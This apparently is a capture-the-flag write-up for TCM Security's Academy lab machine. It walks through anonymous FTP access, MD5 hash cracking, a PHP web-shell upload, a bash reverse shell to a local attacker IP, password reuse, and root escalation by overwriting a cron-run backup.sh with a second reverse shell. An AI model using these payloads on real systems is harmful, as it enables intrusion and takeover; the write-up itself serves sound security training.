Academy Box - PEH Capstone TCM Security
Writeup for Academy machine challenge from PEH course of TCM Security
Challenge File: https://drive.google.com/drive/folders/1VXEuyySgzsSo-MYmyCareTnJ5rAeVKeH
Run sudo netdiscover -r 192.168.0.0/24 before starting the target VM to capture all available devices in subnet
now start the target VM and wait for new machine IP entry it will be the IP of our target VM.
Before starting the target VM
After starting the target VM
Now that we have the target IP 192.168.0.113 let's run the nmap
Here we see that port 21,22,80 are open.
In port 21 Anonymous FTP login is allowed
to see what files are present in this ftp we can open ftp://192.168.0.113/ in windows File Explorer or we can also use curl
The note says The StudentRegno number is what you use for login which is 10201321 and we have one password hash cd73502828457d15655bbd7a63fb0bc8. use tools like https://crackstation.net/ to crack the hash.
This is md5 of student.
now we have login credentials 10201321:student note this for now and let's move to http site.
http://192.168.0.113/ is Apache2 Debian Default Page
There is nothing much to see in this default page so let's do the directory brute force
We found the /phpmyadmin/ and /academy/ directories
on the http://192.168.0.113/academy/ page we have one login form
Let's try the login credentials 10201321:student that we found previously from ftp note.
It worked we are now logged in
On the My Profile page we have file upload functionality
try uploading simple php shell <?php system($_REQUEST['cmd']); ?> and it is not blocked we now have the ability to execute commands on server
we can get reverse shell by this payload cmd=bash+-c+"bash+-i+>%26+/dev/tcp/192.168.0.207/9001+0>%261"
reference: https://www.revshells.com
In the config.php file we have the mysql_password My_V3ryS3cur3_P4ss and in the ftp note we show line I told him not to use the same password everywhere which implies that user Grimmie is reusing the same password so we can try to use this password to switch to user Grimmie
looking at crontab we notice that /home/grimmie/backup.sh file is running as root and we can modify this file to get root access
Reverse shell payload to get shell as root:
echo 'bash -c "bash -i >& /dev/tcp/192.168.0.207/9002 0>&1"' > backup.sh
Flag:
:octocat: Happy Hacking :octocat:
Last updated
Was this helpful?